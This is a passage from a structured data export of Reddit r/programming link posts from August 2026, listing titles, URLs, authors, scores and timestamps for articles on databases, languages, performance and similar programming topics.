  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vqxler",
  "url": "https://duckdb.org/2026/08/17/duckdb-20-highlights",
  "permalink": "https://www.reddit.com/r/programming/comments/1vqxler/a_preview_of_duckdb_v20/",
  "title": "A Preview of DuckDB v2.0",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 250,
  "upvoteRatio": 0.97,
  "numComments": 23,
  "createdAt": "2026-08-17T16:48:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://duckdb.org/2026/08/17/duckdb-20-highlights",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vqukkf",
  "url": "https://www.githubstatus.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vqukkf/nothing_like_a_monday_morning_github_outage/",
  "title": "Nothing like a Monday morning GitHub outage",
  "body": null,
  "author": "Jwosty",
  "subreddit": "programming",
  "score": 2225,
  "upvoteRatio": 0.97,
  "numComments": 278,
  "createdAt": "2026-08-17T14:53:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.githubstatus.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vqsufx",
  "url": "https://www.architecture-weekly.com/p/fractal-architecture-cognitive-load",
  "permalink": "https://www.reddit.com/r/programming/comments/1vqsufx/fractal_architecture_cognitive_load_vertical/",
  "title": "Fractal Architecture, Cognitive Load, Vertical Slices and other terms that do(n't) fit your head",
  "body": null,
  "author": "Adventurous-Salt8514",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.6,
  "numComments": 0,
  "createdAt": "2026-08-17T13:48:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.architecture-weekly.com/p/fractal-architecture-cognitive-load",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vqndz5",
  "url": "https://www.benjoffe.com/fast-day-of-week",
  "permalink": "https://www.reddit.com/r/programming/comments/1vqndz5/faster_algorithms_to_compute_weekday_for_date/",
  "title": "Faster algorithms to compute weekday for date libraries",
  "body": null,
  "author": "benjoffe",
  "subreddit": "programming",
  "score": 54,
  "upvoteRatio": 0.91,
  "numComments": 2,
  "createdAt": "2026-08-17T09:25:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.benjoffe.com/fast-day-of-week",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vq4rr0",
  "url": "https://www.ponylang.io/blog/2026/08/ponys-arena-allocator/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vq4rr0/ponys_arena_allocator/",
  "title": "Pony's Arena Allocator",
  "body": "I recently discovered that [Pony](https://www.ponylang.io/)'s still alive. I had discovered Pony a few years ago while browsing tech forums. Its focus on memory safe & lock-free MT was interesting.\n\nI kept up with the weekly development for a brief period but then kind of forgot about the language until recently when I rediscovered it when I was chatting about [Crystal's MT](https://crystal-lang.org/2026/07/16/1.21.0-released/).\n\nI just wanted to share the latest blog post here in case someone else remembers this language. Looks like the development has been progressing steadily. Which is impressive because the project lacks any [big sponsors](https://opencollective.com/ponyc#backer). ",
  "author": "Bassfaceapollo",
  "subreddit": "programming",
  "score": 63,
  "upvoteRatio": 0.9,
  "numComments": 11,
  "createdAt": "2026-08-16T18:33:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.ponylang.io/blog/2026/08/ponys-arena-allocator/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vq4pbv",
  "url": "https://buf.build/blog/protobuf-lsp",
  "permalink": "https://www.reddit.com/r/programming/comments/1vq4pbv/protobuf_finally_has_lsp_support_youre_welcome_buf/",
  "title": "Protobuf finally has LSP support. You’re welcome. · Buf",
  "body": null,
  "author": "esiy0676",
  "subreddit": "programming",
  "score": 420,
  "upvoteRatio": 0.88,
  "numComments": 55,
  "createdAt": "2026-08-16T18:31:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://buf.build/blog/protobuf-lsp",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vpxrcl",
  "url": "https://c3-lang.org/blog/i_thought_i_was_building_a_c_replacement/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vpxrcl/i_thought_i_was_building_a_c_replacement_i_was/",
  "title": "I thought I was building a C replacement. I was wrong",
  "body": null,
  "author": "Nuoji",
  "subreddit": "programming",
  "score": 206,
  "upvoteRatio": 0.78,
  "numComments": 126,
  "createdAt": "2026-08-16T13:58:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://c3-lang.org/blog/i_thought_i_was_building_a_c_replacement/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vpt013",
  "url": "https://smagin.fyi/posts/popovers/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vpt013/popovers/",
  "title": "Popovers",
  "body": "Nobody likes popovers, everyone makes them anyway. This makes them a Tolstoy kind of thing -- there are a handful of tricks that make them better, and an infinite number of ways to mess up.\n\n",
  "author": "Odd-Tell9763",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.31,
  "numComments": 6,
  "createdAt": "2026-08-16T09:55:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://smagin.fyi/posts/popovers/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vppv2b",
  "url": "https://shivanshuag.com/blog/what-garbage-collection-actually-costs/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vppv2b/what_garbage_collection_actually_costs/",
  "title": "What garbage collection actually costs",
  "body": null,
  "author": "Realistic-Currency29",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 13,
  "createdAt": "2026-08-16T06:46:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://shivanshuag.com/blog/what-garbage-collection-actually-costs/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vof05i",
  "url": "https://medium.com/@dichenldc/kernel-context-switch-costs-and-spin-locks-in-perf-profile-a-practical-study-aadd2584b64d?source=friends_link&sk=441f557bcbaf8714f9c7c48c639fb2d9",
  "permalink": "https://www.reddit.com/r/programming/comments/1vof05i/kernel_context_switch_costs_and_spin_locks_in/",
  "title": "Kernel Context Switch Costs And Spin Locks In Perf Profile: A Practical Study",
  "body": null,
  "author": "Happycodeine",
  "subreddit": "programming",
  "score": 55,
  "upvoteRatio": 0.87,
  "numComments": 3,
  "createdAt": "2026-08-14T18:16:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@dichenldc/kernel-context-switch-costs-and-spin-locks-in-perf-profile-a-practical-study-aadd2584b64d?source=friends_link&sk=441f557bcbaf8714f9c7c48c639fb2d9",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vo8qw5",
  "url": "https://youtu.be/n7fhuIHD-gM",
  "permalink": "https://www.reddit.com/r/programming/comments/1vo8qw5/coding_magic_the_gathering_in_c_part_one_why/",
  "title": "Coding Magic the Gathering in C# - PART ONE - Why Build A Card Game in WinForms",
  "body": null,
  "author": "nickproud",
  "subreddit": "programming",
  "score": 116,
  "upvoteRatio": 0.79,
  "numComments": 41,
  "createdAt": "2026-08-14T14:25:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/n7fhuIHD-gM",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vo6xrh",
  "url": "https://www.youtube.com/watch?v=Sn8fVb_O90Y",
  "permalink": "https://www.reddit.com/r/programming/comments/1vo6xrh/building_a_toy_language_in_c_adding_variables/",
  "title": "Building a toy language in C++: Adding variables",
  "body": "This episode explains how to add variables, so instead of handling one expression at a time, the language now parses a list of declarations and starts looking like something you could write real programs in.",
  "author": "Xaneris47",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.67,
  "numComments": 0,
  "createdAt": "2026-08-14T13:12:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=Sn8fVb_O90Y",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vo44t4",
  "url": "https://jkm.dev/posts/how-2004-runescape-fit-a-multiplayer-rpg-into-56k-dialup/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vo44t4/how_2004_runescape_fit_a_multiplayer_rpg_into_56k/",
  "title": "How 2004 RuneScape fit a multiplayer RPG into 56k dial-up",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 737,
  "upvoteRatio": 0.96,
  "numComments": 99,
  "createdAt": "2026-08-14T11:01:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jkm.dev/posts/how-2004-runescape-fit-a-multiplayer-rpg-into-56k-dialup/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vo16f2",
  "url": "https://www.technologyreview.com/2026/08/13/1141041/building-a-practical-path-to-post-quantum-cryptography/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vo16f2/building_a_practical_path_to_postquantum/",
  "title": "Building a practical path to post-quantum cryptography",
  "body": null,
  "author": "donutloop",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 5,
  "createdAt": "2026-08-14T08:10:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.technologyreview.com/2026/08/13/1141041/building-a-practical-path-to-post-quantum-cryptography/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vnyl5k",
  "url": "https://gist.github.com/samsch/0d1f3d3b4745d778f78b230cf6061452",
  "permalink": "https://www.reddit.com/r/programming/comments/1vnyl5k/stop_using_jwts/",
  "title": "Stop using JWTs",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.29,
  "numComments": 20,
  "createdAt": "2026-08-14T05:40:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gist.github.com/samsch/0d1f3d3b4745d778f78b230cf6061452",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vnkrhc",
  "url": "https://gruhn.me/blog/2026-08-13/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vnkrhc/npoverrated/",
  "title": "NP-overrated",
  "body": null,
  "author": "ngruhn",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 39,
  "createdAt": "2026-08-13T19:29:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gruhn.me/blog/2026-08-13/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vnckbr",
  "url": "https://medium.com/graalvm/escaping-the-giant-switch-dec20b572139",
  "permalink": "https://www.reddit.com/r/programming/comments/1vnckbr/stateoftheart_bytecode_interpreters_in_java_by/",
  "title": "State-of-the-art Bytecode Interpreters in Java by Yudi Zheng",
  "body": null,
  "author": "grashalm01",
  "subreddit": "programming",
  "score": 68,
  "upvoteRatio": 0.91,
  "numComments": 7,
  "createdAt": "2026-08-13T14:38:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/graalvm/escaping-the-giant-switch-dec20b572139",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vn9bgm",
  "url": "https://youtu.be/r06NY-heh-E?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
  "permalink": "https://www.reddit.com/r/programming/comments/1vn9bgm/applicationdriven_infrastructure_deployment_kief/",
  "title": "Application-Driven Infrastructure Deployment • Kief Morris",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.22,
  "numComments": 0,
  "createdAt": "2026-08-13T12:28:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/r06NY-heh-E?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vn7t7t",
  "url": "https://youtu.be/a7qEOtkkDb8",
  "permalink": "https://www.reddit.com/r/programming/comments/1vn7t7t/a_preview_of_roc_010_by_richard_feldman/",
  "title": "A Preview of Roc 0.1.0 by Richard Feldman",
  "body": "Roc’s first numbered release, 0.1.0, is on the horizon. This talk previews what we’re aiming to include, the key language and tooling milestones needed to get there, and what the release will mean for people interested in trying, using, or contributing to Roc.  \n  \n",
  "author": "MagnusSedlacek",
  "subreddit": "programming",
  "score": 161,
  "upvoteRatio": 0.84,
  "numComments": 63,
  "createdAt": "2026-08-13T11:16:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/a7qEOtkkDb8",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vn7p6q",
  "url": "https://labs.leaningtech.com/blog/browserpod-rust",
  "permalink": "https://www.reddit.com/r/programming/comments/1vn7p6q/beyond_wasi_running_any_rust_application_in_the/",
  "title": "Beyond WASI: Running any Rust application in the browser with BrowserPod 3.0",
  "body": null,
  "author": "vilgefortz91",
  "subreddit": "programming",
  "score": 43,
  "upvoteRatio": 0.84,
  "numComments": 5,
  "createdAt": "2026-08-13T11:10:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://labs.leaningtech.com/blog/browserpod-rust",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vmvxdz",
  "url": "https://www.youtube.com/watch?v=DfkFpxzdqZs",
  "permalink": "https://www.reddit.com/r/programming/comments/1vmvxdz/programming_smart_pathing_in_starcraft_2/",
  "title": "Programming smart pathing in Starcraft 2",
  "body": null,
  "author": "LaughNgamez",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.8,
  "numComments": 2,
  "createdAt": "2026-08-13T00:44:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=DfkFpxzdqZs",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vmssvs",
  "url": "https://fagnerbrack.com/degradability-91ce5a6e2367",
  "permalink": "https://www.reddit.com/r/programming/comments/1vmssvs/degradability/",
  "title": "Degradability",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 24,
  "upvoteRatio": 0.89,
  "numComments": 5,
  "createdAt": "2026-08-12T22:30:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fagnerbrack.com/degradability-91ce5a6e2367",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vmrnni",
  "url": "https://www.theregister.com/devops/2026/08/12/nodejs-creator-liberates-durable-objects-from-cloudflare-with-celld/5286954",
  "permalink": "https://www.reddit.com/r/programming/comments/1vmrnni/nodejs_creator_liberates_durable_objects_from/",
  "title": "Node.js creator liberates Durable Objects from Cloudflare",
  "body": null,
  "author": "stronghup",
  "subreddit": "programming",
  "score": 172,
  "upvoteRatio": 0.94,
  "numComments": 25,
  "createdAt": "2026-08-12T21:45:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/devops/2026/08/12/nodejs-creator-liberates-durable-objects-from-cloudflare-with-celld/5286954",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vmoddq",
  "url": "https://www.youtube.com/watch?v=RQ1IfKUD1nw",
  "permalink": "https://www.reddit.com/r/programming/comments/1vmoddq/linus_torvalds_explains_what_makes_linux_so_fast/",
  "title": "Linus Torvalds Explains What Makes Linux So Fast",
  "body": null,
  "author": "Rechenplaner",
  "subreddit": "programming",
  "score": 374,
  "upvoteRatio": 0.83,
  "numComments": 125,
  "createdAt": "2026-08-12T19:40:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=RQ1IfKUD1nw",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vmnuu2",
  "url": "https://openjdk.org/projects/amber/guides/exhaustiveness-guide",
  "permalink": "https://www.reddit.com/r/programming/comments/1vmnuu2/preparing_for_change_safe_switching_over_sealed/",
  "title": "Preparing for Change: Safe Switching over Sealed APIs (Java)",
  "body": null,
  "author": "joemwangi",
  "subreddit": "programming",
  "score": 22,
  "upvoteRatio": 0.86,
  "numComments": 0,
  "createdAt": "2026-08-12T19:20:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://openjdk.org/projects/amber/guides/exhaustiveness-guide",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vmhj23",
  "url": "https://www.tomshardware.com/pc-components/cpus/hardware-researcher-spins-up-cpu-deoptimization-project-to-find-the-slowest-machine-code-worst-offender-takes-198-billion-cycles-to-execute",
  "permalink": "https://www.reddit.com/r/programming/comments/1vmhj23/hardware_researcher_spins_up_cpu_deoptimization/",
  "title": "Hardware researcher spins up 'CPU deoptimization' project to find the slowest single x86 instruction, creates hall of shame — worst offender takes 198 billion cycles spanning 62 seconds to execute",
  "body": null,
  "author": "masiroo",
  "subreddit": "programming",
  "score": 1460,
  "upvoteRatio": 0.97,
  "numComments": 133,
  "createdAt": "2026-08-12T15:34:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.tomshardware.com/pc-components/cpus/hardware-researcher-spins-up-cpu-deoptimization-project-to-find-the-slowest-machine-code-worst-offender-takes-198-billion-cycles-to-execute",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vmglvj",
  "url": "https://tailscale.com/blog/sqlite-wal-reset-bug",
  "permalink": "https://www.reddit.com/r/programming/comments/1vmglvj/how_tailscale_helped_discover_a_16_year_old/",
  "title": "How Tailscale helped discover a 16+ year old SQLite WAL-Reset bug",
  "body": null,
  "author": "callcifer",
  "subreddit": "programming",
  "score": 231,
  "upvoteRatio": 0.96,
  "numComments": 12,
  "createdAt": "2026-08-12T15:01:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tailscale.com/blog/sqlite-wal-reset-bug",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vm65dm",
  "url": "https://vitaut.net/posts/2026/yy-dtoa/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vm65dm/the_fastest_doubletostring_algorithm_youve_never/",
  "title": "The fastest double-to-string algorithm you’ve never heard of",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 325,
  "upvoteRatio": 0.95,
  "numComments": 70,
  "createdAt": "2026-08-12T06:25:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vitaut.net/posts/2026/yy-dtoa/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vlwzdy",
  "url": "https://dl.acm.org/doi/10.1145/3789240.3829175",
  "permalink": "https://www.reddit.com/r/programming/comments/1vlwzdy/dont_stall_me_now_hiding_memory_latency_in_ebpf/",
  "title": "Don't Stall Me Now: Hiding Memory Latency in eBPF",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.79,
  "numComments": 2,
  "createdAt": "2026-08-11T23:02:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dl.acm.org/doi/10.1145/3789240.3829175",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vlqtmx",
  "url": "https://squeak.org/release_notes/6.1/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vlqtmx/squeak_61_a_modern_smalltalk_programming/",
  "title": "Squeak 6.1 (a modern Smalltalk programming environment implemented in itself) was released!",
  "body": "> After more than 4 years of work, our community has put together a big bouquet of new capabilities and improvements:\n> \n> - A new tree browser for navigating and organizing classes\n> - Objectland, bringing back and extending the colorful world of examples from Squeak 3\n> - Plenty of new features, bugfixes, and speed-ups for programming tools, the Morphic UI framework, and the rest of the system\n\nOriginal announcement on Fosstodon: [https://fosstodon.org/@squeak/117071273007117118](https://fosstodon.org/@squeak/117071273007117118)",
  "author": "LinqLover",
  "subreddit": "programming",
  "score": 185,
  "upvoteRatio": 0.94,
  "numComments": 21,
  "createdAt": "2026-08-11T19:08:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://squeak.org/release_notes/6.1/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vlns5j",
  "url": "https://vectoral.com/blog/token-relay-market",
  "permalink": "https://www.reddit.com/r/programming/comments/1vlns5j/an_inside_look_at_the_relay_market_powering_token/",
  "title": "An Inside Look at the Relay Market Powering Token Resellers and Fraud",
  "body": null,
  "author": "thisguy123123",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.67,
  "numComments": 0,
  "createdAt": "2026-08-11T17:19:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vectoral.com/blog/token-relay-market",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vlm2vs",
  "url": "https://planetscale.com/blog/the-dangers-of-postgres-subtransactions",
  "permalink": "https://www.reddit.com/r/programming/comments/1vlm2vs/the_dangers_of_postgres_subtransactions/",
  "title": "The dangers of Postgres subtransactions",
  "body": "Really good article explaining the implementation detail within Postgres regarding subtransactions. Very cool benchmark that I was unaware of",
  "author": "Wooden-News-962",
  "subreddit": "programming",
  "score": 29,
  "upvoteRatio": 0.86,
  "numComments": 1,
  "createdAt": "2026-08-11T16:19:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://planetscale.com/blog/the-dangers-of-postgres-subtransactions",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vllv5l",
  "url": "https://labs.iximiuz.com/tutorials/change-your-root-chroot-basics-1cef74c2",
  "permalink": "https://www.reddit.com/r/programming/comments/1vllv5l/change_your_root_chroot_basics/",
  "title": "Change Your Root: Chroot Basics",
  "body": null,
  "author": "iximiuz",
  "subreddit": "programming",
  "score": 53,
  "upvoteRatio": 0.86,
  "numComments": 1,
  "createdAt": "2026-08-11T16:11:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://labs.iximiuz.com/tutorials/change-your-root-chroot-basics-1cef74c2",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vllrmu",
  "url": "https://alex.draftist.io/blog/why-i-still-read-code-iiaz6lku8",
  "permalink": "https://www.reddit.com/r/programming/comments/1vllrmu/why_i_still_read_code/",
  "title": "Why I Still Read Code",
  "body": null,
  "author": "alex35mil",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.19,
  "numComments": 32,
  "createdAt": "2026-08-11T16:08:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://alex.draftist.io/blog/why-i-still-read-code-iiaz6lku8",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vlh7z7",
  "url": "https://ertu.dev/posts/5_software_engineering_is_cool_but_is_it_interesting/",
  "permalink": "https://www.reddit.com/r/programming/comments/1vlh7z7/software_engineering_is_cool_but_is_it_interesting/",
  "title": "Software Engineering Is Cool, But Is It Interesting?",
  "body": null,
  "author": "ertucetin",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.26,
  "numComments": 29,
  "createdAt": "2026-08-11T13:17:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ertu.dev/posts/5_software_engineering_is_cool_but_is_it_interesting/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vlfqji",
  "url": "https://youtu.be/nNWROjHZzuU?list=PLEx5khR4g7PLjpaSO0XI-6euF483ORLyJ",
  "permalink": "https://www.reddit.com/r/programming/comments/1vlfqji/the_past_present_future_of_programming_languages/",
  "title": "The Past, Present & Future of Programming Languages • Kevlin Henney",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.78,
  "numComments": 8,
  "createdAt": "2026-08-11T12:13:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/nNWROjHZzuU?list=PLEx5khR4g7PLjpaSO0XI-6euF483ORLyJ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1vld49h",
  "url": "https://www.architecture-weekly.com/p/vertical-slices-their-ownership-and",
  "permalink": "https://www.reddit.com/r/programming/comments/1vld49h/vertical_slices_their_ownership_and_external/",
  "title": "Vertical slices, their ownership and external dependencies",
  "body": null,
  "author": "Adventurous-Salt8514",
  "subreddit": "programming",
  "score": 2,
